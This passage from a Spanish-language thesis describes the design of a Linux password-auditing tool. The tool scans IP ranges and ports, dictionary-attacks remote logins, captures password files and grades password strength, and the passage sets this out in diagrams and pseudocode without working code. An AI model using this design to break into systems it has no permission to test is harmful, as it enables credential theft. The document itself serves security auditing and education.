diferenta. Me permite instalar y usar un programa en cuantos ordenadores yo
desee, sin límites. También se puede modificar el programa y se lo puede
distribuir tal cual o después de haberlo modificado.
La única condición para la licencia es, que junto con el programa binario, se
entregue el código fuente, para que pueda ser leído por un programador, a
diferencia de los programas propietarios o cerrados, que solo se entrega listo
para ejecutarse.
Un programa tipo GPL es libre, se los puede conseguir de muchas formas, y
además NO SON PROGRAMAS PIRATAS como se suele decir.
Una desventaja es que estos programas no tienen garantía, igual que la
mayoría de los programas propietarios, pero ofrecen mas derechos a los
44
usuarios, y con el código fuente, se pueden hacer las depuraciones
necesarias para lograr el funcionamiento correcto de la aplicación. También
se puede ofrecer la garantía del programa desarrollado si la empresa lo
desea.
Usar la licencia GPL implica una serie de normas a las que uno se
compromete cuando opta por dicha licencia, las cuales son, en resumen:
Si uno modifica un código protegido por GPL y lo quiere comercializar, no
puede hacerlo, porque la licencia estipula que el código fuente modificado
también debe facilitarse de forma gratuita. Hay algunos que optan por cobrar
un precio muy bajo.
Si se opta por trabajar con licencia, y tienes ya varias versiones de alguna
aplicación, y en algún momento quieres renunciar a la licencia, no puedes
hacerlo. Si ya desarrollaste bajo GPL no puedes ya cambiarlo.
La distribución obliga al desarrollador a facilitar el ejecutable y el código
fuente, sin objeción.
45
No debería haber plagio, es decir, a partir de un programa GPL, yo desarrollo
en base a ese código, uno propio y con calidad de propietario. Lo ideal es
que también se tomen ciertas bases para no programar desde cero.
Todo el código de SAP es GPL, sin excepciones.
El planteamiento del desarrollo es abierto: escritura directa al CVS público,
uso de listas públicas, acceso al repositorio público y a herramientas de
trabajo en comunidad.
La fortaleza está en hacer que la comunidad de desarrollo crezca.
No hay ninguna parte LGPL o similares (no se permite el desarrollo de
software propietario).
Actualmente no es necesario transferir el copyright para contribuir al
proyecto.
Análisis FODA
FORTALEZAS
• Novedoso, de fácil introducción en el mercado, por sus características
al ser lanzado al mercado.
• Software libre, con versiones tanto freeware y bajo la licencia GPL.
46
• Fácil uso y entendimiento, muy intuitivo, para uso de personas con
mediana a gran experiencia.
• Nos da un análisis de contraseñas, permitiendo su evaluación y
sugiriendo recomendaciones de mejoras.
• Nos provee información para hacer el sistema seguro, dándonos
consejos y guías de seguridad.
OPORTUNIDADES
• El software no tiene costo, en sus versiones iniciales saldrá bajo la
licencia GPL, bajo plataforma Linux.
• Por su funcionalidad el sistema podrá utilizarse como auditoria de
seguridad, además de un analizador inteligente de contraseñas.
• Elimine el uso de personal externo con conocimiento de ataque del
sistema. El sistema da un diagnóstico confiable de contraseñas.
DEBILIDADES
• El sistema funciona bajo plataforma Linux, en sus primeras versiones.
• Para manejar el sistema se requiere ciertos conocimientos de redes, y
una capacitación inicial, no esta dirigido a usuarios novatos.
• Si el software cae en manos equivocadas puede causar daños a la
empresa.
47
AMENAZAS
• Por su característica el software libre puede ser usado por otras
personas para su uso comercial.
Convirtiendo las debilidades en fortalezas:
Se estudiará a futuro, lanzar versiones que puedan trabajar de manera
óptima bajo el sistema operativo Windows, que en la actualidad es el mas
usado, ya que el sistema se desarrollará en un lenguaje de cuarta
generación, como es java, el cual es multiplataforma, es decir, el programa
java se adaptará muy fácilmente a un entorno Windows, con los respectivos
cambios necesarios,
Al programa en un futuro se le podría adaptar un módulo de ayuda, con
páginas web interactivas que le den a un usuario novato o con poca
experiencia en el manejo de redes, una poderosa arma de asesoramiento y
consulta, con palabras fáciles de entender y gráficos explicativos.
En cuanto a que si el software cae en manos peligrosas, se deberá tener
especial cuidado en esta parte, ya que a pesar de que solo los usuarios
48
administradores poseen las claves para poder usar la herramienta, pero las
mismas deberán ser cambiadas periódicamente para evitar inconvenientes.
Convirtiendo las amenazas en oportunidades:
Se deberá hacer hincapié en que el programa saldrá al mercado en sus
primeras versiones bajo la licencia GPL, pero con una funcionalidad un poco
limitada, por lo que, si alguien pretende usarlo para otros fines, deberá
también poner algo de esfuerzo para realizar un programa funcional.
CAPITULO 2
ANÁLISIS
2.1.- Levantamiento de la información
2.1.1.- Por que realizar este proyecto
Este proyecto fue diseñado
pensando en realizar un análisis
exhaustivo, confiable y detallado de
las contraseñas de las maquinas
sobre las cuales vaya a correr el
programa, centrándonos
especialmente en computadores que
trabajen con el sistema operativo Linux, ya que se esta volviendo muy
popular su uso principalmente en servidores, por su robustez,
seguridad, y sobre todo, bajos costos de instalación y mantenimiento.
Por esto, un tópico importante en toda empresa es el uso y las
políticas de contraseñas, en la mayoría de los casos, según algunos
estudios, solo entre un 20 y en el mejor de los casos el 40% de
contraseñas son seguras, es decir, cumplen con políticas estándar de
seguridad, que las mencionamos a continuación:
Un password considerado seguro debería contener mínimo:
• 8 caracteres.
• Un número o varios
• Al menos un carácter especial.
• Al menos una mayúscula.
• No debe hacer referencia a palabras comunes, de las que uno
encuentra en un diccionario.
Concienciar a los usuarios sobre este aspecto del uso de claves
robustas se vuelve todo un reto en las empresas, ya que a la mayoría
le costaría mucho recordar un password de este tipo:
51
J0@$/cl@rk23$i$tem
Por lo que, la mayoría de las veces optarán por usar passwords muy
comunes como sus nombres, palabras como el nombre de la mascota,
el del esposo (a), su fecha de nacimiento, etc., es decir palabras muy
fáciles de descifrar con ataques por ejemplo de diccionario o sniffers,
lo cual es un grave riesgo especialmente si se logra hackear la clave
de un servidor critico para la empresa.
En muchas empresas las claves son proporcionadas por los
administradores o jefes del departamento de sistemas, pero los
usuarios cometen errores como el dejar los passwords pegados en un
lugar visible, o usan la misma clave para acceder a varios servicios, y
muchas de las veces, las empresas no cuentan con políticas de
seguridad robustas, y menos en cuanto a la creación de cuentas y
contraseñas de usuarios.
Entonces, se vuelve imperativo para un administrador, poder llevar el
control de las claves de autenticación que están usando los usuarios
en el sistemas, ya sea para maquinas cliente o servidores, por lo que
esta herramienta podrá proporcionar una ayuda significativa para
52
poder llevar una política adecuada de control y uso de claves en mi
red local.
En un apartado final en este documento se mencionarán
configuraciones y políticas de seguridad, para poder mantener un nivel
bajo de amenazas en las empresas.
2.1.2.- Quienes son los atacantes
Los ataques pueden ser internos y externos, tanto de hardware como
de software.
Los ataques de tipo interno, sean de hardware o software, se dan por
lo general por empleados de la misma organización, insatisfechos o
molestos por algún motivo, o ex trabajadores de las mismas, los
cuales pretenden de alguna forma hacer un daño a su ex empresa.
Los ataques externos se dan por lo general, por las personas
conocidas como los hackers o crackers informáticos.
Los ataques de software se clasifican de la siguiente manera:
• Escaneo de puertos
• Sniffer de red
53
• Spoofing de IP
• Hijacking (secuestro de sesión)
• Ataques (reunión)
• Hombre en el medio
• DOS (Denied Of Service)
• Código malicioso
• Ataques de configuraciones por defecto
• Exploits de software
• Abuso (privilegio)
• Ataque de backdoor
• Ataque de apoderamiento (take over)
• Ataque de auditoria
• Root Kits
Los ataques de hardware se los realiza sobre los diferentes
periféricos, y lo que buscan es principalmente, dejar inhabilitados los
diferentes elementos físicos del sistema informático. Con esto se
busca:
• Robar información, si se extrae el disco duro.
54
• Causar interrupción del funcionamiento normal del sistema, ya sea
interrumpiendo el fluido eléctrico, o cortando la ventilación de la
maquina servidor, o por cualquier otro medio físico.
• Un modo muy común de obtener información también es el de la
ingeniería social, que consiste en usar diferentes recursos, apelando a
la buena voluntad y a veces ingenuidad de la gente, para obtener
información importante.
2.1.3.- Categorías de los atacantes
Entre las categorías de los atacantes tenemos:
Jugadores Este tipo de atacante lo que busca es divertirse al hacer
el ataque, demostrar a los demás de lo que es capaz de hacer, por lo
general no son peligrosos.
Espías Muchas de las veces son trabajadores o ex empleados de
una empresa, los cuales buscan filtrar información a la competencia,
ya sea por disconformidad con sus patrones o por diversos motivos.
Vándalos Los más peligrosos, buscan acceder al sistema para
causar el mayor daño posible.
55
2.2.- Análisis de requerimientos
Para la realización de este proyecto necesitamos conocer e investigar:
Obtener toda la información acerca de la composición, el manejo de los
protocolos TCP y UDP, ICMP, para conocer como fluyen los paquetes de
datos a través de estos protocolos, muy usados en casi la mayoría de las
empresas de este país.
Investigar los diferentes ataques que se pueden realizar a un servidor,
especialmente las diferentes herramientas para ataque de software
disponibles en la Web.
Como los datos viajen a través de los diferentes puertos.
Conocer un listado de puertos comúnmente usados, los cuales pueden ser
explotados para atacar a los servidores.
Como establecer medios de comunicación entre las maquinas, modos de
hacer un telnet, ftp, radmin, especialmente bajo plataforma Linux.
Realizar todos los registros que el programa genere, los respectivos logs de
sucesos.
Desarrollar e investigar toda la codificación en lenguaje java y las librerías y
módulos necesarios para la realización del proyecto.
56
Conseguir herramientas de desarrollo IDE de java, y de diseño de bases de
datos.
2.3.- Diccionario de datos.
Para el desarrollo de nuestra base de datos vamos a utilizar el Modelo
conocido como entidad relación (DER), y nuestra base de datos esta
compuesta por las siguientes tablas.
1. ip
2. puerto
3. usuario
4. password
5. ip_puerto
6. reportes
7. diccionario
Para mas detalles del contenido de las tablas con sus respectivos campos,
reviese el manual técnico del proyecto, en el cual se describen a detalle la
Base.
57
Grafico -2- Diagrama de especificación del Sistema (DES)
58
Grafico -3a- Diagrama Flujo de Información (DFI)
59
Grafico -3b- Diagrama Flujo de Información (DFI)
60
Grafico -4a- Diagrama de Flujo de Datos (DFD)
61
Grafico -4b- Diagrama de Flujo de Datos (DFD)
62
Grafico -4c- Diagrama de Flujo de Datos (DFD)
63
Grafico -4d- Diagrama de Flujo de Datos (DFD)
64
Grafico -4e- Diagrama de Flujo de Datos (DFD)
65
Grafico -4f- Diagrama de Flujo de Datos (DFD)
66
Grafico -4g- Diagrama de Flujo de Datos (DFD)
67
Grafico -4h- Diagrama de Flujo de Datos (DFD)
68
Grafico -4i- Diagrama de Flujo de Datos (DFD)
69
Grafico -4j- Diagrama de Flujo de Datos (DFD)
70
Grafico -4k- Diagrama de Flujo de Datos (DFD)
71
Grafico -4l- Diagrama de Flujo de Datos (DFD)
72
Grafico -4m- Diagrama de Flujo de Datos (DFD)
73
Diagrama de Entidad de Relación
Grafico -5- Diagrama de Entidad Relación (DER)
74
Diagrama de Transición de Datos
Scan Ip Proceso Preparar módulo Scan Ip Presenta pantalla Scan Ip Verificar orden de escaneo Ejecutar orden escaneo Mostrar resultado Scan Ip Verificar resultado Scan Ip Generar log reporte Guardar en la base de datos Pantalla principal Scan IP
75
Scan Puerto Verificar Ip válida Preparar módulo Scan puerto Presentar pantalla Scan puerto Verificar orden escaneo Ejecutar orden escaneo Pantalla de resultado Habilitar opciones de menú Verificar estados de módulo y conexión de red Generar log reporte Guardar en la base de datos Pantalla principal Scan Puertos
76
Hacking de Password Preparar módulo hacking password Presentar pantalla proceso de captura Mostrar resultados del ataque Generar log Guardar en la base de datos Pantalla principal hacking password Análisis de Password Preparar módulo análisis de password Evaluar tipo de password Presentar pantalla de resultado Guardar datos en base datos Pantalla principal análisis de password
77
Reportes Preparar Modulo de reporte Escoger tipo reporte Generar reporte por fecha Generar reporte nivel seguridad Generar reporte total Imprimir reporte Pantalla principal Reportes
78
Estadística Habilitar opciones de menú Preparar Módulo estadístico Confirmación de generación de estadística. Escoger tipos de estadística Generar página datos tabulados Generar página gráficos Reporte Presentar pantalla Aborto proceso Resultado final Pantalla principal Estadísticas
79
Diagrama de Especificación de Proceso
PROCESAR
CONTRASEÑA
Se consulta a la base de datos sobre el usuario y el passwd
Si user and passwd== “valor_obtenido_consuta_base”
Conceder_acceso
Si_no
Verificar-#_intentos
Mostrar mensaje de error
Fin si
Verificar numero de
intentos
Si intentos > 3 entonces
Mostra mensajes no se pudo conectar al sistema
Denegacion de acceso
Salir del sistema
Si_no
llamar funcion procesar_contraseña
Fin_Si
Verificar numero
de intentos
Si intentos > 3 entonces
Mostra mensajes no se pudo conectar al sistema
Denegacion de acceso
Salir del sistema
Si_no
llamar funcion procesar_contraseña
Fin_Si
Especificaciones de procesos Scan IP
Grafico -6a- Diagrama de Especificación de Procesos
80
Presentar pantalla
menu inicial
Si contraseña es valida
generar_patalla de menu principal
deshabilitar las opciones de menu que no se pueden usar
inicialmente
Si_no
mostrar mensaje no se pudo accesar al sistema
salir del sistema
Fin_si
Verificar opcion del
menu seleccionada
Si escogio opcion menu
verificar que sea una opcion de menu activa
mostrar la pantalla del modulo correspondiente
Si_no
mostrar mensaje “ esta opcion de menu no esta habilitada”
Fin_Si
Verificar tipo de opcion
Se evalua cual fue la opcion seleccionada para llamar a la interfaz
respectiva
Select case opcion_menu
1: scan_ip
2: scan_puertos
3: hacking al sistema
4: captura y procesamiento de passwd
5: reportes
6: estadisticas
7: ayuda
Verificar que opciones estan habilitadas para un caso en particular
Al iniciar el programa solo están activas scan_ip y ayuda, a medida
que se avanza en el programa se habilitan las demas opciones
Grafico -6b- Diagrama de Especificación de Procesos
81
Verificar orden scaneo
ip
Si pulsa menu scan_ip
mostrar mensaje pidiendo confirmacion
si confirmación == true
preparar modulo escaneo ip
ejecutar modulo scaneo_ip
mostrar posibles mensajes de error
si_no
mostrar mensaje proceso abortado
fin_si
Fin_si
Verificar resultados
obtenidos
Evaluar si al menos hay una o mas is activas que haya podido
registrar el sistema
Si ip_Activa == true
habilitar opciones de menu correspondientes a los
siguientes modulos por ejecutar
generar pantalla de reportes de resultados
establecer conexión con la base de datos y esperar a la
orden de guardar datos
Si_no
mostrar mensaje no hay ips activas en el sistema
llamar modulo verificar estados del modulo y la conexión
de red
mostra pantalla con posibles errores
deshabilitar opciones de menu que no se puedan usar
retornar a pantalla inicial
Fin_Si
Grafico -6c- Diagrama de Especificación de Procesos
82
Verificar estados de
modulo y conexión de
red
Analizar si el modulo que tiene el control en un determinado
momento se encuentra activo y si no ha caido en error
Si modulo_esta_activo == false
mostrar por pantalla “ el modulo esta inactivo”
verificar posibles estados de error
salir del modulo
retornar a la pantalla inicial
Si_no
si conexión_red == false
verificar conexiones de red
monitorear si se esta en red y eveluar porque
se perdio la conexión con la maquina
si_no
mostrar mensaje
“ error de tipo desconocido”
salir del modulo
retornar a la pantalla del menu principal
fin_si
Fn_si
Habilitar opciones de
menu
Si opcion_menu == inactivo and modulo_opcion_menu == activo
opcion_menu = activo
Si_no
mostrar mensaje por pantalla via DOS “ menu esta ya
activo”
Fin_si
Grafico -6d- Diagrama de Especificación de Procesos
83
Deshabilitar opciones
menu
Si opcion_menu == activo and modulo_opcion_menu == inactivo
opcion_menu = inactivo
Si_no
mostrar mensaje por DOS
“ menu inactivo”
Fin-si
Generar logs reportes
ip
Si resultados_ips_obtenidas == true
llamar modulo reportes
si escogio opcion_guardar
establecer conexión con la Base de datos
guardar los datos generados en pantalla
Si_no
mostrar pantalla con mensaje
“ no hay registros que guardar”
Fin_si
Preparar modulo scan
ip
Me permite poner el modulo en un estado válido para poder hacer
uso del mismo
Llamar funcion verificar estado_modulo y conexión de red
Recoger el valor devuelto
si valor_devuelto == true
llamar función ejecutar_escaneo_ ip
si_no
mostrar mensaje via DOS
modulo no preparado
evaluar posibles estados de error
salir a la pantalla inicial
fin_si
Grafico -6e- Diagrama de Especificación de Procesos
84
Ejecutar orden
escaneo IP
Generar pantalla ingreso rangos inicial y final
Validar que se ingresaron los campos, y que sean numeros válidos
de direcciones ip
Si direccion_ip_correcta
entrega el control al modulo scan_ip
preparar la orden de escano
ejecutar la orden de escaneo
preparar la pantalla de reportes
Si_no
mostrar mensaje error de ingreso
volver a pantalla de ingreso de rangos inicial
y final
Fin_si
Verificar ip valida
Verificar que la ip escaneada este activa y el modulo y la red
funcionando
Si ip_valida ==true
preparar modulo scan_puertos
Si_no
mostrar mensaje via DOS y por pantalla
“ no se puede escanear puertos en esa dirección ip”
llamar funcion
verificar_estados_modulo_y_conexiones_de_red
examinar posibles errores
volver a pantalla de scan ip
Fin_si
Especificaciones de procesos Scan puertos
Grafico -6f- Diagrama de Especificación de Procesos
85
Preparar modulo scan
puertos
Llamar funcion verificar_estados_modulo_y_conexiones_de_red
Recoger el valor devuelto por la funcion
Si valor == true
preparar los parámetros para poder escanear el puerto
seleccionado
preparar la función ejecuta_scan_puertos
Si_no
mandar un mensaje via DOS
“ modulo no preparado”
Fin_si
Verificar orden
escaneo puerto
Si pulsa menu_scan_puertos
si moduo_scan_puertos esta activo
preparar a la función scan_puertos
si_no
mostrar mensaje por pantalla
“No se pudo realizar la operación”
verificar posibles estados de error
fin_si
Fin_ si
Ejecutar orden
escaneo puertos
Según la ip seleccionada que este activa se escanean los puertos
Llamar a la funcion scaneo_puertos
Capturar los puertos abiertos y cerrados
Preparar el reporte en pantalla de los datos obtenidos
Formato puerto : servicio
Grafico -6g- Diagrama de Especificación de Procesos
86
Generar logs de
reporte puertos
Llamar funcion resultados_obtenidos_puertos
Si resultados_obtenidos_puertos == true ( al menos se obtuvo uno )
llamar al modulo de reportes
capturar los datos obtenidos de pantalla
generar el log de reporte
si opcion_menu == guardar
establecer conexión con la base de datos
guardar los datos obtenidos
fin_si
Si_no
mostrar mensaje por pantalla y DOS
“ NO hay datos que guardar”
verificar posibles errores del sistema
volver a la pantalla scan puertos
Fin_si
Mostrar pantalla de
resultados
Si scaneo_puertos esta activo y devolvio al menos un valor de
puerto activo
asociar la ip de la maquina escaneada, el puerto abierto
y el servicio que se usa en ese puerto
preparar la pantalla con los datos asociados
presentar la pantalla final de resultados
Si_no
mostrar mensaje por pantalla y DOS
“ No hay resultados que mostrar, verifique que la ip este
activa y se esta conectado con la red”
verificar posibles estados de error del sistema
volver a la pantalla principal
Fin_si
Grafico -6h- Diagrama de Especificación de Procesos
87
Especificaciones de procesos Hacking de passwrds
Preparar modulo
hacking de password
Verificar que la ip y el puerto escogido esten activos y se esta
conectado a la red
Llamar a la funcion
verificar_estados_modulo_y_conexiones_de_red
Ejecutar el script de acceso al sistema
( se pretende ganar acceso a una maquina determinada
estableciendo una autenticacion remota, y forzando el ingreso de
contraseñas, ataque de diccionario )
Monitorear resultados de ejecución
Presentar por pantalla
proceso captura
Se mostrara como esta progresando el proceso de ataque, al
intentar establecer conexión remota a la maquina que va a ser
invadida
Verificar posibles errores del sistema
Se podra llamar a la funcion que valide el modulo y la conexión de
red
Capturar resultados y mostrar por pantalla
Mostrar por pantalla el progreso del ataque, y si se pudo o no
establecer la autenticación
Grafico -6i- Diagrama de Especificación de Procesos
88
Especificaciones de procesos Analisis de passwords
Preparar modulo
analisis de passwords
Verificar que el ataque de password haya tenido éxito y se hayan
obtenido resultados
Preparar script captura_passwords_maquina_linux
ejecutar script captura_passwords_maquina_linux
Capturar resultados y mostrarlos por pantalla
Si resultados_validos == true
mostrar pantalla con resultados de passwords
capturados
Si_no
mostrar mensaje” no se pudo obtener ningun password”
verificar posibles estados de error del sistema
volver a la pantalla analisis de passwords
Fin_si
Evaluar tipo password
Verificar que se hayan obtenido resultados de captura_password
Establecer conexión con la base de datos
Preparar la función analisis_passwords asociandola con los
parámetros respectivos
Llamar a la función analisis_passwords y enviarle los respectivos
valores
( la funcion de analisis asociará el password obtenido con valores
que tienen que ver con una evaluación de la seguridad del mismo,
hará un analisis inteligente, mostrando sugerencias y
recomendaciones con respecto al uso de los passwords )
Preparar la pantalla de resultados del analisis
Grafico -6j- Diagrama de Especificación de Procesos
89
Generar logs reporte
de password
Verificar si se han obtenido passwords de la maquina escaneada
Si resultados_password == true
llamar modulo reportes
preparar la pantalla con los resultados obtenidos
si opcion_menu == guardar
establecer conexión con la base de
datos
guardar el reporte
fin_si
Si_no
mostrar mensaje por pantalla
“ No hay registros que guardar”
verificar posibles estados de error del sistema
retornar a pantalla analisis de passwords
Fin_si
Presentar pantalla
resultados analisis
Se desplegará una pantalla con todos los datos obtenidos de la
captura de passwords, asociados con su nivel de seguridad, % de
riesgo de uso y algunos parámetros de evaluación de contraseñas.
Se mostraran sugerencias acerca del uso de los passwords y se
podrá ver si se desea una página con políticas de uso de
passwords adecuadas.
Se tendrá la opción de presentar un reporte estadístico del analisis
o un historial, con opciones de menu desplegadas en pantalla
Grafico -6k- Diagrama de Especificación de Procesos
90
Preparar modulo
reportes
Verificar que se hayan obtenido datos de la base de datos
Y de todos los modulos que quieran hacer un reporte.
Establecer conexión con la base de datos
Si conexión establecida == true
preparar pantalla reportes
desplegar pantalla reportes
Si_no
mostrar mensaje por pantalla y DOS
“ no se pudo establecer conexión con la base de datos”
verificar posibles estados de error
Fin_si
Escoger tipo de
reporte
Se permitirá en la pantalla escoger el tipo de reporte
Select case opcin_menu_tipo_reporte
caso 1: por fecha
generar reporte por fecha
caso 2: nivel de seguridad
generar reporte nivel de seguridad
caso 3: generar
generar reporte general
End case
preparar la opción imprimir si se requiere
Especificaciones de procesos Reportes
Grafico -6l- Diagrama de Especificación de Procesos
91
Preparar modulo
estadísticas
Especificaciones de procesos Estadísticas
Verificar que se hayan obtenido datos de la base de datos
Y que el modulo reporte tenga datos de los cuales se pueda hacer
una estadística
Establecer conexión con la base de datos
Si conexión establecida == true
preparar pantalla estadisticas
desplegar pantalla estadisticas
Si_no
mostrar mensaje por pantalla y DOS
“ no se pudo establecer conexión con la base de datos”
verificar posibles estados de error
Fin_si
Escoger tipo de
estadistica
Se permitirá en la pantalla escoger el tipo de estadistica
Select case opcin_menu_tipo_estadistica
caso 1: tabular
generar estadistica tabular
caso 2: grafica
generar estadistica gráfica
End case
preparar la opción imprimir si se requiere
Grafico -6m- Diagrama de Especificación de Procesos
92
Preparar modulo
ayuda
Especificaciones de procesos Ayuda
Verificar que las paginas de ayuda esten disponibles
Si paginas_ayuda == true
presentar paginas de ayuda
Si_no
mostrar mensaje por pantalla y DOS
“ Ayuda no disponible”
retornar a la anterior pantalla que se estaba ejecutando
Fin_si
Dar opciones de navegación y retorno al menu principal o a la
anterior pantalla que llamo a la ayuda
Grafico -6n- Diagrama de Especificación de Procesos
CAPITULO 3
DISEÑO
3.1.- Diseño de la interfaz
Al iniciar la ejecución del proyecto, se
encontrará con una pantalla inicial, en
la cual se deberá digitar la clave para
poder acceder al uso del mismo. Solo
personas autorizadas podrán hacer uso
del programa.
94
Ventana clave de ingreso
Grafico -7- Ventana de Ingreso
Si se digito la clave correcta me dará acceso al sistema, caso contrario, me
aparecerá una advertencia que me indicará la negación de acceso.
95
Ventana inicial
Esta ventana es la que uno ve al ganar acceso al programa, la cual se
aprecia a continuación:
Grafico -8- Ventana de Inicio
En la cual se podrá ver un menú, con acceso a todas las ventanas del
sistema, además de botones de acceso rápido en la parte izquierda, que me
permitirán ganar acceso rápido a las diferentes operaciones que me permite
hacer el programa.
96
A continuación presentamos las pantallas respectivas, que se presentarán al
aplastar cada una de las opciones del menú o los botones de acceso rápido.
Ventana scan ip
Cuando aplastamos el botón de scan ip, nos mostrará una pequeña ventana,
la cual nos pedirá que ingresemos un rango de búsqueda y rastreo de ips.
Grafico -8a- Ventana de Scan Ip
97
Luego de haber ingresado un rango de IP valido, nos mostrará la pantalla en
la cual tendremos los reportes de ips activas y no activas.
Grafico -8b- Ventana de Scan Ip
La ventana me mostrará en la parte superior derecha, el reporte de las ips
activas dentro del rango ingresado, y si se encuentran ips activas, pues se
puede mandar a rastrear los puertos activos y no activos mostrados en dicha
pantalla.
98
Si se encuentra algún puerto abierto de determinado servicio, se puede tratar
de establecer comunicación inmediatamente, aplastando el botón de hackeo.
La siguiente pantalla me muestra el progreso de la conexión y diversos
eventos que puedan estar aconteciendo, mostrándome al final si se pudo
establecer o no la conexión.
Grafico -9- Ventana de Ataque
99
Una vez establecida la conexión, y ejecutada la auditoria, se puede proceder
con la parte del análisis, en la siguiente pantalla:
Grafico -10- Ventana de Análisis de Password
Luego de haber ingresado y capturado las diferentes claves, el sistema me
permitirá ver los respectivos reportes y cuadros estadísticos, pulsando los
botones respectivos.
100
Grafico -11a- Diseño Arquitectónico
101
Grafico -11b- Diseño Arquitectónico
102
Grafico -11c- Diseño Arquitectónico
103
Grafico -11d-
Diseño Arquitectónico
104
Grafico -11e- Diseño Arquitectónico
105
Grafico -11f- Diseño Arquitectónico
106
Grafico -11g- Diseño Arquitectónico
107
DISEÑO ARQUITECTÓNICO
Gestión del
modulo ayuda
Preparación de
páginas de ayuda
Presentación de
páginas de ayuda
Grafico -11h- Diseño Arquitectónico
108
3.2.- Diseño a Nivel de Componentes
Ejecutar tareas
seleccionadas
Presentar pantalla con menú de opcioes:
-Obtención de password
- Análisis de password
- Reportes (logs)
- Estadísticas
Seleccionar tarea de ataque
Presentación de los puertos scanedos
abiertos
Presenación de IP encontradas
Retorna Guarda
Presenta por pantalla
resultados del scan IP y puertos
activos
Analiza el o los puertos por
donde se pueda accesar
Presenta en pantalla si es
posible realizar un ataque
Diseño a Nivel de
Componentes
Elección del ataque crack de
password
Grafico -12- Diseño a Nivel de Componentes
CAPÍTULO 4
DESARROLLO Y PRUEBAS
DEL SISTEMA.
4.1.- Desarrollo del sistema
a.- Creación de la Base de Datos
La Base de Datos esta creada
en Postgresql versión 8.1-
408. Se optó por el uso de la
misma ya que es de tipo
Open Source, como todo el
resto del proyecto. Pero se
110
deja la posibilidad de uso de cualquier otra Base de Datos que
se desee.
Nombre: Proyecto
Día de creación: 20/Octubre/2006
Espacio usado en Data: 1800kb
Espacio usado en Índice: 1000kb
Tamaño: 10000kb, con un tablespace de tamaño expandible
Espacio disponible: 9000kb
Ruta del archivo:
/var/lib/psql/data/base
Log de transacciones: el log por defecto de la Base de Datos.
Nombre: postgresql-Wed.log
Ruta Archivo: /var/lib/psql/data/pg_log
Tamaño: 1.7 Kb
4.2.- Creación de los componentes
Para la creación de los componentes se utilizó la metodología de módulos,
siguiendo el modelo de desarrollo en espiral, se termina un módulo y se inicia
otro, o de ser necesario se los trabaja en paralelo.
El orden de desarrollo se detalla a continuación:
Autenticación
Escaneo
Análisis de datos
111
Reportes
Estadísticas
Almacenamiento de datos
Los módulos reportes y estadísticas de datos, se trabajaron en simultáneo. El
modulo crítico del sistema es el de análisis de datos, el cual llevo mas tiempo
en desarrollar.
4.3.- Seguridades
Las seguridades del sistema están enmarcadas en políticas de uso, ya que
se trata de un programa tipo invasivo, el cual si es reprogramado con
diferentes objetivos de los que fue creado, puede llegar a causar mucho daño
en mi entorno de red. Por lo tanto, se debe tomar en cuenta el mantener la
integridad y seguridad de la información, la cual es el mayor activo de una
empresa.
Los aspectos de seguridad están marcados bajo los siguientes parámetros:
• Sistema operativo
• Base de Datos
• Sistema
• Registro de logs
• Humano
112
4.3.1.- Sistema operativo.
El mayor riesgo es que nuestro programa se vuelva “contra
nosotros”, es decir, caiga en malas manos y empiece a causar
daño. Por lo que su operación inicialmente esta limitada a sistemas
operativos Linux Fedora Core 5, solo personas con amplio
conocimiento del lenguaje de programación y de diversas
distribuciones de sistemas operativos Unix, tendrán la capacidad
de modificar el código original para que pueda trabajar en diversos
ambientes. Además, cada sistema operativo maneja sus niveles de
seguridad, y si no se cumplen las condiciones para que el
programa pueda trabajar, el ataque será infructuoso.
Las maquinas como medida imperativa de seguridad, deberán
tener restringido el acceso a carpetas y archivos críticos del
sistema. Ya que el programa podría ser usado para extraer algo
mas que los archivos de los passwords. Hay que tener mucha
precaución con esto, si queremos evitarnos más de un dolor de
cabeza.
4.3.2.- Base de Datos
Todos los registros del análisis, especialmente las claves
descifradas, se guardarán en la base de datos, a la cual solo
113
tendrá acceso el encargado de manejar el programa, la misma
puede ser acezada físicamente por medio de un usuario y clave,
definidos en la creación de la misma.
Todos los archivos de análisis y logs auxiliares que genera el
programa, son eliminados automáticamente por el mismo, cuando
termina la ejecución del programa. Para evitar el uso indebido de
estos datos, especialmente los datos de los usuarios y sus claves.
4.3.3.- Registros de logs
El sistema genera logs auxiliares, los cuales contienen datos de
operación del sistema, resultados de escaneo, passwords
capturados, etc., que son desplegados en el momento de ejecución
por pantalla, pero luego, por motivos de seguridad, son eliminados
del mismo. En este caso, sabemos que solo una persona está
autorizada para el uso de este programa en determinado ambiente,
si ocurriera algún problema, sabemos sobre quién cae la
responsabilidad del uso del mismo.
114
4.3.4.- Humano
Este es un punto muy importante a destacar, es seguramente el mas
difícil de controlar. El mayor riesgo es que el programa caiga en
manos “equivocadas” o que la contraseña del mismo sea divulgada,
con esto todo el plan de seguridad queda destruido. Se tendrá
especial cuidad con los puntos arriba mencionados, ya que el
programa puede ser modificado fácilmente por personas que tengan
los conocimientos suficientes, para hacer un verdadero daño dentro
del entorno de trabajo.
4.4.- Pruebas del sistema
Las pruebas del sistema son un mecanismo para comprobar el
funcionamiento correcto del software, en este sistema se han hecho varios
tipos de pruebas entre las más importantes tenemos:
• Verificación y validación
• Pruebas de unidad
• Pruebas de integración
• Pruebas alfa y beta
• Pruebas de seguridad
115
4.4.1.- Verificación y validación
Estos términos van de la mano, puesto que el tipo de prueba
verificación analiza que no existan errores en la implementación del
software, y la validación analiza que lo que se define en las
especificaciones iniciales guarde relación con lo desarrollado.
Se realizaron este tipo de pruebas, en especial con los datos que
ingresan al sistema, y se comprobó todos los posibles errores de
ingreso que se pudieran dar, corrigiendo con codificación extra en
todos los casos.
Se verificó que el sistema realice las operaciones de auditoria para las
cuales fue diseñado. El código original entregado solo realiza este tipo
de operación, y no va mas allá de lo que se propuso inicialmente, por
motivos de seguridad, se anularon líneas “peligrosas” en los scripts de
auditoria, las cuales podían causar grandes problemas si el programa
cae en manos de personas ajenas al entorno de la empresa.
4.4.2.- Pruebas de Unidad
En este tipo de pruebas de unidad, se evalúa el desempeño de cada
módulo de manera independiente, y forma parte del tipo de pruebas de
116
la caja blanca, es decir analizan procesos de cada modulo, para
probar coherencias.
Se realizó este tipo de prueba en los siguientes módulos:
• Autenticación
• Escaneo
• Análisis
• Hackeo
• Registro de datos
• Reportes
• Estadísticas
En el modulo de autenticación se probaron las clases que me dan
acceso al sistema, se comprobó su operabilidad, me dan máximo 3
intentos de autenticarme, sino me deniegan el acceso.
En el módulo escaneo se comprobó que escaneaba dentro del rango
de IP establecido, sin ningún problema es capaz de rastrear
direcciones IP de todo el entorno de la red, excepto direcciones de
acceso restringido.
